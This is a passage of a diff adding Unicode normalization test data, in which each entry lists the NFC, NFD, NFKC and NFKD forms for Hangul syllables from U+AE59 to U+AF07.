+{ source: [0xAE59], NFC: [0xAE59], NFD: [0x1101, 0x1161, 0x11B4], NFKC: [0xAE59], NFKD: [0x1101, 0x1161, 0x11B4] },
+{ source: [0xAE5A], NFC: [0xAE5A], NFD: [0x1101, 0x1161, 0x11B5], NFKC: [0xAE5A], NFKD: [0x1101, 0x1161, 0x11B5] },
+{ source: [0xAE5B], NFC: [0xAE5B], NFD: [0x1101, 0x1161, 0x11B6], NFKC: [0xAE5B], NFKD: [0x1101, 0x1161, 0x11B6] },
+{ source: [0xAE5C], NFC: [0xAE5C], NFD: [0x1101, 0x1161, 0x11B7], NFKC: [0xAE5C], NFKD: [0x1101, 0x1161, 0x11B7] },
+{ source: [0xAE5D], NFC: [0xAE5D], NFD: [0x1101, 0x1161, 0x11B8], NFKC: [0xAE5D], NFKD: [0x1101, 0x1161, 0x11B8] },
+{ source: [0xAE5E], NFC: [0xAE5E], NFD: [0x1101, 0x1161, 0x11B9], NFKC: [0xAE5E], NFKD: [0x1101, 0x1161, 0x11B9] },
+{ source: [0xAE5F], NFC: [0xAE5F], NFD: [0x1101, 0x1161, 0x11BA], NFKC: [0xAE5F], NFKD: [0x1101, 0x1161, 0x11BA] },
+{ source: [0xAE60], NFC: [0xAE60], NFD: [0x1101, 0x1161, 0x11BB], NFKC: [0xAE60], NFKD: [0x1101, 0x1161, 0x11BB] },
+{ source: [0xAE61], NFC: [0xAE61], NFD: [0x1101, 0x1161, 0x11BC], NFKC: [0xAE61], NFKD: [0x1101, 0x1161, 0x11BC] },
+{ source: [0xAE62], NFC: [0xAE62], NFD: [0x1101, 0x1161, 0x11BD], NFKC: [0xAE62], NFKD: [0x1101, 0x1161, 0x11BD] },
+{ source: [0xAE63], NFC: [0xAE63], NFD: [0x1101, 0x1161, 0x11BE], NFKC: [0xAE63], NFKD: [0x1101, 0x1161, 0x11BE] },
+{ source: [0xAE64], NFC: [0xAE64], NFD: [0x1101, 0x1161, 0x11BF], NFKC: [0xAE64], NFKD: [0x1101, 0x1161, 0x11BF] },
+{ source: [0xAE65], NFC: [0xAE65], NFD: [0x1101, 0x1161, 0x11C0], NFKC: [0xAE65], NFKD: [0x1101, 0x1161, 0x11C0] },
+{ source: [0xAE66], NFC: [0xAE66], NFD: [0x1101, 0x1161, 0x11C1], NFKC: [0xAE66], NFKD: [0x1101, 0x1161, 0x11C1] },
+{ source: [0xAE67], NFC: [0xAE67], NFD: [0x1101, 0x1161, 0x11C2], NFKC: [0xAE67], NFKD: [0x1101, 0x1161, 0x11C2] },
+{ source: [0xAE68], NFC: [0xAE68], NFD: [0x1101, 0x1162], NFKC: [0xAE68], NFKD: [0x1101, 0x1162] },
+{ source: [0xAE69], NFC: [0xAE69], NFD: [0x1101, 0x1162, 0x11A8], NFKC: [0xAE69], NFKD: [0x1101, 0x1162, 0x11A8] },
+{ source: [0xAE6A], NFC: [0xAE6A], NFD: [0x1101, 0x1162, 0x11A9], NFKC: [0xAE6A], NFKD: [0x1101, 0x1162, 0x11A9] },
+{ source: [0xAE6B], NFC: [0xAE6B], NFD: [0x1101, 0x1162, 0x11AA], NFKC: [0xAE6B], NFKD: [0x1101, 0x1162, 0x11AA] },
+{ source: [0xAE6C], NFC: [0xAE6C], NFD: [0x1101, 0x1162, 0x11AB], NFKC: [0xAE6C], NFKD: [0x1101, 0x1162, 0x11AB] },
+{ source: [0xAE6D], NFC: [0xAE6D], NFD: [0x1101, 0x1162, 0x11AC], NFKC: [0xAE6D], NFKD: [0x1101, 0x1162, 0x11AC] },
+{ source: [0xAE6E], NFC: [0xAE6E], NFD: [0x1101, 0x1162, 0x11AD], NFKC: [0xAE6E], NFKD: [0x1101, 0x1162, 0x11AD] },
+{ source: [0xAE6F], NFC: [0xAE6F], NFD: [0x1101, 0x1162, 0x11AE], NFKC: [0xAE6F], NFKD: [0x1101, 0x1162, 0x11AE] },
+{ source: [0xAE70], NFC: [0xAE70], NFD: [0x1101, 0x1162, 0x11AF], NFKC: [0xAE70], NFKD: [0x1101, 0x1162, 0x11AF] },
+{ source: [0xAE71], NFC: [0xAE71], NFD: [0x1101, 0x1162, 0x11B0], NFKC: [0xAE71], NFKD: [0x1101, 0x1162, 0x11B0] },
+{ source: [0xAE72], NFC: [0xAE72], NFD: [0x1101, 0x1162, 0x11B1], NFKC: [0xAE72], NFKD: [0x1101, 0x1162, 0x11B1] },
+{ source: [0xAE73], NFC: [0xAE73], NFD: [0x1101, 0x1162, 0x11B2], NFKC: [0xAE73], NFKD: [0x1101, 0x1162, 0x11B2] },
+{ source: [0xAE74], NFC: [0xAE74], NFD: [0x1101, 0x1162, 0x11B3], NFKC: [0xAE74], NFKD: [0x1101, 0x1162, 0x11B3] },
+{ source: [0xAE75], NFC: [0xAE75], NFD: [0x1101, 0x1162, 0x11B4], NFKC: [0xAE75], NFKD: [0x1101, 0x1162, 0x11B4] },
+{ source: [0xAE76], NFC: [0xAE76], NFD: [0x1101, 0x1162, 0x11B5], NFKC: [0xAE76], NFKD: [0x1101, 0x1162, 0x11B5] },
+{ source: [0xAE77], NFC: [0xAE77], NFD: [0x1101, 0x1162, 0x11B6], NFKC: [0xAE77], NFKD: [0x1101, 0x1162, 0x11B6] },
+{ source: [0xAE78], NFC: [0xAE78], NFD: [0x1101, 0x1162, 0x11B7], NFKC: [0xAE78], NFKD: [0x1101, 0x1162, 0x11B7] },
+{ source: [0xAE79], NFC: [0xAE79], NFD: [0x1101, 0x1162, 0x11B8], NFKC: [0xAE79], NFKD: [0x1101, 0x1162, 0x11B8] },
+{ source: [0xAE7A], NFC: [0xAE7A], NFD: [0x1101, 0x1162, 0x11B9], NFKC: [0xAE7A], NFKD: [0x1101, 0x1162, 0x11B9] },
+{ source: [0xAE7B], NFC: [0xAE7B], NFD: [0x1101, 0x1162, 0x11BA], NFKC: [0xAE7B], NFKD: [0x1101, 0x1162, 0x11BA] },
+{ source: [0xAE7C], NFC: [0xAE7C], NFD: [0x1101, 0x1162, 0x11BB], NFKC: [0xAE7C], NFKD: [0x1101, 0x1162, 0x11BB] },
+{ source: [0xAE7D], NFC: [0xAE7D], NFD: [0x1101, 0x1162, 0x11BC], NFKC: [0xAE7D], NFKD: [0x1101, 0x1162, 0x11BC] },
+{ source: [0xAE7E], NFC: [0xAE7E], NFD: [0x1101, 0x1162, 0x11BD], NFKC: [0xAE7E], NFKD: [0x1101, 0x1162, 0x11BD] },
+{ source: [0xAE7F], NFC: [0xAE7F], NFD: [0x1101, 0x1162, 0x11BE], NFKC: [0xAE7F], NFKD: [0x1101, 0x1162, 0x11BE] },
+{ source: [0xAE80], NFC: [0xAE80], NFD: [0x1101, 0x1162, 0x11BF], NFKC: [0xAE80], NFKD: [0x1101, 0x1162, 0x11BF] },
+{ source: [0xAE81], NFC: [0xAE81], NFD: [0x1101, 0x1162, 0x11C0], NFKC: [0xAE81], NFKD: [0x1101, 0x1162, 0x11C0] },
+{ source: [0xAE82], NFC: [0xAE82], NFD: [0x1101, 0x1162, 0x11C1], NFKC: [0xAE82], NFKD: [0x1101, 0x1162, 0x11C1] },
+{ source: [0xAE83], NFC: [0xAE83], NFD: [0x1101, 0x1162, 0x11C2], NFKC: [0xAE83], NFKD: [0x1101, 0x1162, 0x11C2] },
+{ source: [0xAE84], NFC: [0xAE84], NFD: [0x1101, 0x1163], NFKC: [0xAE84], NFKD: [0x1101, 0x1163] },
+{ source: [0xAE85], NFC: [0xAE85], NFD: [0x1101, 0x1163, 0x11A8], NFKC: [0xAE85], NFKD: [0x1101, 0x1163, 0x11A8] },
+{ source: [0xAE86], NFC: [0xAE86], NFD: [0x1101, 0x1163, 0x11A9], NFKC: [0xAE86], NFKD: [0x1101, 0x1163, 0x11A9] },
+{ source: [0xAE87], NFC: [0xAE87], NFD: [0x1101, 0x1163, 0x11AA], NFKC: [0xAE87], NFKD: [0x1101, 0x1163, 0x11AA] },
+{ source: [0xAE88], NFC: [0xAE88], NFD: [0x1101, 0x1163, 0x11AB], NFKC: [0xAE88], NFKD: [0x1101, 0x1163, 0x11AB] },
+{ source: [0xAE89], NFC: [0xAE89], NFD: [0x1101, 0x1163, 0x11AC], NFKC: [0xAE89], NFKD: [0x1101, 0x1163, 0x11AC] },
+{ source: [0xAE8A], NFC: [0xAE8A], NFD: [0x1101, 0x1163, 0x11AD], NFKC: [0xAE8A], NFKD: [0x1101, 0x1163, 0x11AD] },
+{ source: [0xAE8B], NFC: [0xAE8B], NFD: [0x1101, 0x1163, 0x11AE], NFKC: [0xAE8B], NFKD: [0x1101, 0x1163, 0x11AE] },
+{ source: [0xAE8C], NFC: [0xAE8C], NFD: [0x1101, 0x1163, 0x11AF], NFKC: [0xAE8C], NFKD: [0x1101, 0x1163, 0x11AF] },
+{ source: [0xAE8D], NFC: [0xAE8D], NFD: [0x1101, 0x1163, 0x11B0], NFKC: [0xAE8D], NFKD: [0x1101, 0x1163, 0x11B0] },
+{ source: [0xAE8E], NFC: [0xAE8E], NFD: [0x1101, 0x1163, 0x11B1], NFKC: [0xAE8E], NFKD: [0x1101, 0x1163, 0x11B1] },
+{ source: [0xAE8F], NFC: [0xAE8F], NFD: [0x1101, 0x1163, 0x11B2], NFKC: [0xAE8F], NFKD: [0x1101, 0x1163, 0x11B2] },
+{ source: [0xAE90], NFC: [0xAE90], NFD: [0x1101, 0x1163, 0x11B3], NFKC: [0xAE90], NFKD: [0x1101, 0x1163, 0x11B3] },
+{ source: [0xAE91], NFC: [0xAE91], NFD: [0x1101, 0x1163, 0x11B4], NFKC: [0xAE91], NFKD: [0x1101, 0x1163, 0x11B4] },
+{ source: [0xAE92], NFC: [0xAE92], NFD: [0x1101, 0x1163, 0x11B5], NFKC: [0xAE92], NFKD: [0x1101, 0x1163, 0x11B5] },
+{ source: [0xAE93], NFC: [0xAE93], NFD: [0x1101, 0x1163, 0x11B6], NFKC: [0xAE93], NFKD: [0x1101, 0x1163, 0x11B6] },
+{ source: [0xAE94], NFC: [0xAE94], NFD: [0x1101, 0x1163, 0x11B7], NFKC: [0xAE94], NFKD: [0x1101, 0x1163, 0x11B7] },
+{ source: [0xAE95], NFC: [0xAE95], NFD: [0x1101, 0x1163, 0x11B8], NFKC: [0xAE95], NFKD: [0x1101, 0x1163, 0x11B8] },
+{ source: [0xAE96], NFC: [0xAE96], NFD: [0x1101, 0x1163, 0x11B9], NFKC: [0xAE96], NFKD: [0x1101, 0x1163, 0x11B9] },
+{ source: [0xAE97], NFC: [0xAE97], NFD: [0x1101, 0x1163, 0x11BA], NFKC: [0xAE97], NFKD: [0x1101, 0x1163, 0x11BA] },
+{ source: [0xAE98], NFC: [0xAE98], NFD: [0x1101, 0x1163, 0x11BB], NFKC: [0xAE98], NFKD: [0x1101, 0x1163, 0x11BB] },
+{ source: [0xAE99], NFC: [0xAE99], NFD: [0x1101, 0x1163, 0x11BC], NFKC: [0xAE99], NFKD: [0x1101, 0x1163, 0x11BC] },
+{ source: [0xAE9A], NFC: [0xAE9A], NFD: [0x1101, 0x1163, 0x11BD], NFKC: [0xAE9A], NFKD: [0x1101, 0x1163, 0x11BD] },
+{ source: [0xAE9B], NFC: [0xAE9B], NFD: [0x1101, 0x1163, 0x11BE], NFKC: [0xAE9B], NFKD: [0x1101, 0x1163, 0x11BE] },
+{ source: [0xAE9C], NFC: [0xAE9C], NFD: [0x1101, 0x1163, 0x11BF], NFKC: [0xAE9C], NFKD: [0x1101, 0x1163, 0x11BF] },
+{ source: [0xAE9D], NFC: [0xAE9D], NFD: [0x1101, 0x1163, 0x11C0], NFKC: [0xAE9D], NFKD: [0x1101, 0x1163, 0x11C0] },
+{ source: [0xAE9E], NFC: [0xAE9E], NFD: [0x1101, 0x1163, 0x11C1], NFKC: [0xAE9E], NFKD: [0x1101, 0x1163, 0x11C1] },
+{ source: [0xAE9F], NFC: [0xAE9F], NFD: [0x1101, 0x1163, 0x11C2], NFKC: [0xAE9F], NFKD: [0x1101, 0x1163, 0x11C2] },
+{ source: [0xAEA0], NFC: [0xAEA0], NFD: [0x1101, 0x1164], NFKC: [0xAEA0], NFKD: [0x1101, 0x1164] },
+{ source: [0xAEA1], NFC: [0xAEA1], NFD: [0x1101, 0x1164, 0x11A8], NFKC: [0xAEA1], NFKD: [0x1101, 0x1164, 0x11A8] },
+{ source: [0xAEA2], NFC: [0xAEA2], NFD: [0x1101, 0x1164, 0x11A9], NFKC: [0xAEA2], NFKD: [0x1101, 0x1164, 0x11A9] },
+{ source: [0xAEA3], NFC: [0xAEA3], NFD: [0x1101, 0x1164, 0x11AA], NFKC: [0xAEA3], NFKD: [0x1101, 0x1164, 0x11AA] },
+{ source: [0xAEA4], NFC: [0xAEA4], NFD: [0x1101, 0x1164, 0x11AB], NFKC: [0xAEA4], NFKD: [0x1101, 0x1164, 0x11AB] },
+{ source: [0xAEA5], NFC: [0xAEA5], NFD: [0x1101, 0x1164, 0x11AC], NFKC: [0xAEA5], NFKD: [0x1101, 0x1164, 0x11AC] },
+{ source: [0xAEA6], NFC: [0xAEA6], NFD: [0x1101, 0x1164, 0x11AD], NFKC: [0xAEA6], NFKD: [0x1101, 0x1164, 0x11AD] },
+{ source: [0xAEA7], NFC: [0xAEA7], NFD: [0x1101, 0x1164, 0x11AE], NFKC: [0xAEA7], NFKD: [0x1101, 0x1164, 0x11AE] },
+{ source: [0xAEA8], NFC: [0xAEA8], NFD: [0x1101, 0x1164, 0x11AF], NFKC: [0xAEA8], NFKD: [0x1101, 0x1164, 0x11AF] },
+{ source: [0xAEA9], NFC: [0xAEA9], NFD: [0x1101, 0x1164, 0x11B0], NFKC: [0xAEA9], NFKD: [0x1101, 0x1164, 0x11B0] },
+{ source: [0xAEAA], NFC: [0xAEAA], NFD: [0x1101, 0x1164, 0x11B1], NFKC: [0xAEAA], NFKD: [0x1101, 0x1164, 0x11B1] },
+{ source: [0xAEAB], NFC: [0xAEAB], NFD: [0x1101, 0x1164, 0x11B2], NFKC: [0xAEAB], NFKD: [0x1101, 0x1164, 0x11B2] },
+{ source: [0xAEAC], NFC: [0xAEAC], NFD: [0x1101, 0x1164, 0x11B3], NFKC: [0xAEAC], NFKD: [0x1101, 0x1164, 0x11B3] },
+{ source: [0xAEAD], NFC: [0xAEAD], NFD: [0x1101, 0x1164, 0x11B4], NFKC: [0xAEAD], NFKD: [0x1101, 0x1164, 0x11B4] },
+{ source: [0xAEAE], NFC: [0xAEAE], NFD: [0x1101, 0x1164, 0x11B5], NFKC: [0xAEAE], NFKD: [0x1101, 0x1164, 0x11B5] },
+{ source: [0xAEAF], NFC: [0xAEAF], NFD: [0x1101, 0x1164, 0x11B6], NFKC: [0xAEAF], NFKD: [0x1101, 0x1164, 0x11B6] },
+{ source: [0xAEB0], NFC: [0xAEB0], NFD: [0x1101, 0x1164, 0x11B7], NFKC: [0xAEB0], NFKD: [0x1101, 0x1164, 0x11B7] },
+{ source: [0xAEB1], NFC: [0xAEB1], NFD: [0x1101, 0x1164, 0x11B8], NFKC: [0xAEB1], NFKD: [0x1101, 0x1164, 0x11B8] },
+{ source: [0xAEB2], NFC: [0xAEB2], NFD: [0x1101, 0x1164, 0x11B9], NFKC: [0xAEB2], NFKD: [0x1101, 0x1164, 0x11B9] },
+{ source: [0xAEB3], NFC: [0xAEB3], NFD: [0x1101, 0x1164, 0x11BA], NFKC: [0xAEB3], NFKD: [0x1101, 0x1164, 0x11BA] },
+{ source: [0xAEB4], NFC: [0xAEB4], NFD: [0x1101, 0x1164, 0x11BB], NFKC: [0xAEB4], NFKD: [0x1101, 0x1164, 0x11BB] },
+{ source: [0xAEB5], NFC: [0xAEB5], NFD: [0x1101, 0x1164, 0x11BC], NFKC: [0xAEB5], NFKD: [0x1101, 0x1164, 0x11BC] },
+{ source: [0xAEB6], NFC: [0xAEB6], NFD: [0x1101, 0x1164, 0x11BD], NFKC: [0xAEB6], NFKD: [0x1101, 0x1164, 0x11BD] },
+{ source: [0xAEB7], NFC: [0xAEB7], NFD: [0x1101, 0x1164, 0x11BE], NFKC: [0xAEB7], NFKD: [0x1101, 0x1164, 0x11BE] },
+{ source: [0xAEB8], NFC: [0xAEB8], NFD: [0x1101, 0x1164, 0x11BF], NFKC: [0xAEB8], NFKD: [0x1101, 0x1164, 0x11BF] },
+{ source: [0xAEB9], NFC: [0xAEB9], NFD: [0x1101, 0x1164, 0x11C0], NFKC: [0xAEB9], NFKD: [0x1101, 0x1164, 0x11C0] },
+{ source: [0xAEBA], NFC: [0xAEBA], NFD: [0x1101, 0x1164, 0x11C1], NFKC: [0xAEBA], NFKD: [0x1101, 0x1164, 0x11C1] },
+{ source: [0xAEBB], NFC: [0xAEBB], NFD: [0x1101, 0x1164, 0x11C2], NFKC: [0xAEBB], NFKD: [0x1101, 0x1164, 0x11C2] },
+{ source: [0xAEBC], NFC: [0xAEBC], NFD: [0x1101, 0x1165], NFKC: [0xAEBC], NFKD: [0x1101, 0x1165] },
+{ source: [0xAEBD], NFC: [0xAEBD], NFD: [0x1101, 0x1165, 0x11A8], NFKC: [0xAEBD], NFKD: [0x1101, 0x1165, 0x11A8] },
+{ source: [0xAEBE], NFC: [0xAEBE], NFD: [0x1101, 0x1165, 0x11A9], NFKC: [0xAEBE], NFKD: [0x1101, 0x1165, 0x11A9] },
+{ source: [0xAEBF], NFC: [0xAEBF], NFD: [0x1101, 0x1165, 0x11AA], NFKC: [0xAEBF], NFKD: [0x1101, 0x1165, 0x11AA] },
+{ source: [0xAEC0], NFC: [0xAEC0], NFD: [0x1101, 0x1165, 0x11AB], NFKC: [0xAEC0], NFKD: [0x1101, 0x1165, 0x11AB] },
+{ source: [0xAEC1], NFC: [0xAEC1], NFD: [0x1101, 0x1165, 0x11AC], NFKC: [0xAEC1], NFKD: [0x1101, 0x1165, 0x11AC] },
+{ source: [0xAEC2], NFC: [0xAEC2], NFD: [0x1101, 0x1165, 0x11AD], NFKC: [0xAEC2], NFKD: [0x1101, 0x1165, 0x11AD] },
+{ source: [0xAEC3], NFC: [0xAEC3], NFD: [0x1101, 0x1165, 0x11AE], NFKC: [0xAEC3], NFKD: [0x1101, 0x1165, 0x11AE] },
+{ source: [0xAEC4], NFC: [0xAEC4], NFD: [0x1101, 0x1165, 0x11AF], NFKC: [0xAEC4], NFKD: [0x1101, 0x1165, 0x11AF] },
+{ source: [0xAEC5], NFC: [0xAEC5], NFD: [0x1101, 0x1165, 0x11B0], NFKC: [0xAEC5], NFKD: [0x1101, 0x1165, 0x11B0] },
+{ source: [0xAEC6], NFC: [0xAEC6], NFD: [0x1101, 0x1165, 0x11B1], NFKC: [0xAEC6], NFKD: [0x1101, 0x1165, 0x11B1] },
+{ source: [0xAEC7], NFC: [0xAEC7], NFD: [0x1101, 0x1165, 0x11B2], NFKC: [0xAEC7], NFKD: [0x1101, 0x1165, 0x11B2] },
+{ source: [0xAEC8], NFC: [0xAEC8], NFD: [0x1101, 0x1165, 0x11B3], NFKC: [0xAEC8], NFKD: [0x1101, 0x1165, 0x11B3] },
+{ source: [0xAEC9], NFC: [0xAEC9], NFD: [0x1101, 0x1165, 0x11B4], NFKC: [0xAEC9], NFKD: [0x1101, 0x1165, 0x11B4] },
+{ source: [0xAECA], NFC: [0xAECA], NFD: [0x1101, 0x1165, 0x11B5], NFKC: [0xAECA], NFKD: [0x1101, 0x1165, 0x11B5] },
+{ source: [0xAECB], NFC: [0xAECB], NFD: [0x1101, 0x1165, 0x11B6], NFKC: [0xAECB], NFKD: [0x1101, 0x1165, 0x11B6] },
+{ source: [0xAECC], NFC: [0xAECC], NFD: [0x1101, 0x1165, 0x11B7], NFKC: [0xAECC], NFKD: [0x1101, 0x1165, 0x11B7] },
+{ source: [0xAECD], NFC: [0xAECD], NFD: [0x1101, 0x1165, 0x11B8], NFKC: [0xAECD], NFKD: [0x1101, 0x1165, 0x11B8] },
+{ source: [0xAECE], NFC: [0xAECE], NFD: [0x1101, 0x1165, 0x11B9], NFKC: [0xAECE], NFKD: [0x1101, 0x1165, 0x11B9] },
+{ source: [0xAECF], NFC: [0xAECF], NFD: [0x1101, 0x1165, 0x11BA], NFKC: [0xAECF], NFKD: [0x1101, 0x1165, 0x11BA] },
+{ source: [0xAED0], NFC: [0xAED0], NFD: [0x1101, 0x1165, 0x11BB], NFKC: [0xAED0], NFKD: [0x1101, 0x1165, 0x11BB] },
+{ source: [0xAED1], NFC: [0xAED1], NFD: [0x1101, 0x1165, 0x11BC], NFKC: [0xAED1], NFKD: [0x1101, 0x1165, 0x11BC] },
+{ source: [0xAED2], NFC: [0xAED2], NFD: [0x1101, 0x1165, 0x11BD], NFKC: [0xAED2], NFKD: [0x1101, 0x1165, 0x11BD] },
+{ source: [0xAED3], NFC: [0xAED3], NFD: [0x1101, 0x1165, 0x11BE], NFKC: [0xAED3], NFKD: [0x1101, 0x1165, 0x11BE] },
+{ source: [0xAED4], NFC: [0xAED4], NFD: [0x1101, 0x1165, 0x11BF], NFKC: [0xAED4], NFKD: [0x1101, 0x1165, 0x11BF] },
+{ source: [0xAED5], NFC: [0xAED5], NFD: [0x1101, 0x1165, 0x11C0], NFKC: [0xAED5], NFKD: [0x1101, 0x1165, 0x11C0] },
+{ source: [0xAED6], NFC: [0xAED6], NFD: [0x1101, 0x1165, 0x11C1], NFKC: [0xAED6], NFKD: [0x1101, 0x1165, 0x11C1] },
+{ source: [0xAED7], NFC: [0xAED7], NFD: [0x1101, 0x1165, 0x11C2], NFKC: [0xAED7], NFKD: [0x1101, 0x1165, 0x11C2] },
+{ source: [0xAED8], NFC: [0xAED8], NFD: [0x1101, 0x1166], NFKC: [0xAED8], NFKD: [0x1101, 0x1166] },
+{ source: [0xAED9], NFC: [0xAED9], NFD: [0x1101, 0x1166, 0x11A8], NFKC: [0xAED9], NFKD: [0x1101, 0x1166, 0x11A8] },
+{ source: [0xAEDA], NFC: [0xAEDA], NFD: [0x1101, 0x1166, 0x11A9], NFKC: [0xAEDA], NFKD: [0x1101, 0x1166, 0x11A9] },
+{ source: [0xAEDB], NFC: [0xAEDB], NFD: [0x1101, 0x1166, 0x11AA], NFKC: [0xAEDB], NFKD: [0x1101, 0x1166, 0x11AA] },
+{ source: [0xAEDC], NFC: [0xAEDC], NFD: [0x1101, 0x1166, 0x11AB], NFKC: [0xAEDC], NFKD: [0x1101, 0x1166, 0x11AB] },
+{ source: [0xAEDD], NFC: [0xAEDD], NFD: [0x1101, 0x1166, 0x11AC], NFKC: [0xAEDD], NFKD: [0x1101, 0x1166, 0x11AC] },
+{ source: [0xAEDE], NFC: [0xAEDE], NFD: [0x1101, 0x1166, 0x11AD], NFKC: [0xAEDE], NFKD: [0x1101, 0x1166, 0x11AD] },
+{ source: [0xAEDF], NFC: [0xAEDF], NFD: [0x1101, 0x1166, 0x11AE], NFKC: [0xAEDF], NFKD: [0x1101, 0x1166, 0x11AE] },
+{ source: [0xAEE0], NFC: [0xAEE0], NFD: [0x1101, 0x1166, 0x11AF], NFKC: [0xAEE0], NFKD: [0x1101, 0x1166, 0x11AF] },
+{ source: [0xAEE1], NFC: [0xAEE1], NFD: [0x1101, 0x1166, 0x11B0], NFKC: [0xAEE1], NFKD: [0x1101, 0x1166, 0x11B0] },
+{ source: [0xAEE2], NFC: [0xAEE2], NFD: [0x1101, 0x1166, 0x11B1], NFKC: [0xAEE2], NFKD: [0x1101, 0x1166, 0x11B1] },
+{ source: [0xAEE3], NFC: [0xAEE3], NFD: [0x1101, 0x1166, 0x11B2], NFKC: [0xAEE3], NFKD: [0x1101, 0x1166, 0x11B2] },
+{ source: [0xAEE4], NFC: [0xAEE4], NFD: [0x1101, 0x1166, 0x11B3], NFKC: [0xAEE4], NFKD: [0x1101, 0x1166, 0x11B3] },
+{ source: [0xAEE5], NFC: [0xAEE5], NFD: [0x1101, 0x1166, 0x11B4], NFKC: [0xAEE5], NFKD: [0x1101, 0x1166, 0x11B4] },
+{ source: [0xAEE6], NFC: [0xAEE6], NFD: [0x1101, 0x1166, 0x11B5], NFKC: [0xAEE6], NFKD: [0x1101, 0x1166, 0x11B5] },
+{ source: [0xAEE7], NFC: [0xAEE7], NFD: [0x1101, 0x1166, 0x11B6], NFKC: [0xAEE7], NFKD: [0x1101, 0x1166, 0x11B6] },
+{ source: [0xAEE8], NFC: [0xAEE8], NFD: [0x1101, 0x1166, 0x11B7], NFKC: [0xAEE8], NFKD: [0x1101, 0x1166, 0x11B7] },
+{ source: [0xAEE9], NFC: [0xAEE9], NFD: [0x1101, 0x1166, 0x11B8], NFKC: [0xAEE9], NFKD: [0x1101, 0x1166, 0x11B8] },
+{ source: [0xAEEA], NFC: [0xAEEA], NFD: [0x1101, 0x1166, 0x11B9], NFKC: [0xAEEA], NFKD: [0x1101, 0x1166, 0x11B9] },
+{ source: [0xAEEB], NFC: [0xAEEB], NFD: [0x1101, 0x1166, 0x11BA], NFKC: [0xAEEB], NFKD: [0x1101, 0x1166, 0x11BA] },
+{ source: [0xAEEC], NFC: [0xAEEC], NFD: [0x1101, 0x1166, 0x11BB], NFKC: [0xAEEC], NFKD: [0x1101, 0x1166, 0x11BB] },
+{ source: [0xAEED], NFC: [0xAEED], NFD: [0x1101, 0x1166, 0x11BC], NFKC: [0xAEED], NFKD: [0x1101, 0x1166, 0x11BC] },
+{ source: [0xAEEE], NFC: [0xAEEE], NFD: [0x1101, 0x1166, 0x11BD], NFKC: [0xAEEE], NFKD: [0x1101, 0x1166, 0x11BD] },
+{ source: [0xAEEF], NFC: [0xAEEF], NFD: [0x1101, 0x1166, 0x11BE], NFKC: [0xAEEF], NFKD: [0x1101, 0x1166, 0x11BE] },
+{ source: [0xAEF0], NFC: [0xAEF0], NFD: [0x1101, 0x1166, 0x11BF], NFKC: [0xAEF0], NFKD: [0x1101, 0x1166, 0x11BF] },
+{ source: [0xAEF1], NFC: [0xAEF1], NFD: [0x1101, 0x1166, 0x11C0], NFKC: [0xAEF1], NFKD: [0x1101, 0x1166, 0x11C0] },
+{ source: [0xAEF2], NFC: [0xAEF2], NFD: [0x1101, 0x1166, 0x11C1], NFKC: [0xAEF2], NFKD: [0x1101, 0x1166, 0x11C1] },
+{ source: [0xAEF3], NFC: [0xAEF3], NFD: [0x1101, 0x1166, 0x11C2], NFKC: [0xAEF3], NFKD: [0x1101, 0x1166, 0x11C2] },
+{ source: [0xAEF4], NFC: [0xAEF4], NFD: [0x1101, 0x1167], NFKC: [0xAEF4], NFKD: [0x1101, 0x1167] },
+{ source: [0xAEF5], NFC: [0xAEF5], NFD: [0x1101, 0x1167, 0x11A8], NFKC: [0xAEF5], NFKD: [0x1101, 0x1167, 0x11A8] },
+{ source: [0xAEF6], NFC: [0xAEF6], NFD: [0x1101, 0x1167, 0x11A9], NFKC: [0xAEF6], NFKD: [0x1101, 0x1167, 0x11A9] },
+{ source: [0xAEF7], NFC: [0xAEF7], NFD: [0x1101, 0x1167, 0x11AA], NFKC: [0xAEF7], NFKD: [0x1101, 0x1167, 0x11AA] },
+{ source: [0xAEF8], NFC: [0xAEF8], NFD: [0x1101, 0x1167, 0x11AB], NFKC: [0xAEF8], NFKD: [0x1101, 0x1167, 0x11AB] },
+{ source: [0xAEF9], NFC: [0xAEF9], NFD: [0x1101, 0x1167, 0x11AC], NFKC: [0xAEF9], NFKD: [0x1101, 0x1167, 0x11AC] },
+{ source: [0xAEFA], NFC: [0xAEFA], NFD: [0x1101, 0x1167, 0x11AD], NFKC: [0xAEFA], NFKD: [0x1101, 0x1167, 0x11AD] },
+{ source: [0xAEFB], NFC: [0xAEFB], NFD: [0x1101, 0x1167, 0x11AE], NFKC: [0xAEFB], NFKD: [0x1101, 0x1167, 0x11AE] },
+{ source: [0xAEFC], NFC: [0xAEFC], NFD: [0x1101, 0x1167, 0x11AF], NFKC: [0xAEFC], NFKD: [0x1101, 0x1167, 0x11AF] },
+{ source: [0xAEFD], NFC: [0xAEFD], NFD: [0x1101, 0x1167, 0x11B0], NFKC: [0xAEFD], NFKD: [0x1101, 0x1167, 0x11B0] },
+{ source: [0xAEFE], NFC: [0xAEFE], NFD: [0x1101, 0x1167, 0x11B1], NFKC: [0xAEFE], NFKD: [0x1101, 0x1167, 0x11B1] },
+{ source: [0xAEFF], NFC: [0xAEFF], NFD: [0x1101, 0x1167, 0x11B2], NFKC: [0xAEFF], NFKD: [0x1101, 0x1167, 0x11B2] },
+{ source: [0xAF00], NFC: [0xAF00], NFD: [0x1101, 0x1167, 0x11B3], NFKC: [0xAF00], NFKD: [0x1101, 0x1167, 0x11B3] },
+{ source: [0xAF01], NFC: [0xAF01], NFD: [0x1101, 0x1167, 0x11B4], NFKC: [0xAF01], NFKD: [0x1101, 0x1167, 0x11B4] },
+{ source: [0xAF02], NFC: [0xAF02], NFD: [0x1101, 0x1167, 0x11B5], NFKC: [0xAF02], NFKD: [0x1101, 0x1167, 0x11B5] },
+{ source: [0xAF03], NFC: [0xAF03], NFD: [0x1101, 0x1167, 0x11B6], NFKC: [0xAF03], NFKD: [0x1101, 0x1167, 0x11B6] },
+{ source: [0xAF04], NFC: [0xAF04], NFD: [0x1101, 0x1167, 0x11B7], NFKC: [0xAF04], NFKD: [0x1101, 0x1167, 0x11B7] },
+{ source: [0xAF05], NFC: [0xAF05], NFD: [0x1101, 0x1167, 0x11B8], NFKC: [0xAF05], NFKD: [0x1101, 0x1167, 0x11B8] },
+{ source: [0xAF06], NFC: [0xAF06], NFD: [0x1101, 0x1167, 0x11B9], NFKC: [0xAF06], NFKD: [0x1101, 0x1167, 0x11B9] },
+{ source: [0xAF07], NFC: [0xAF07], NFD: [0x1101, 0x1167, 0x11BA], NFKC: [0xAF07], NFKD: [0x1101, 0x1167, 0x11BA] },
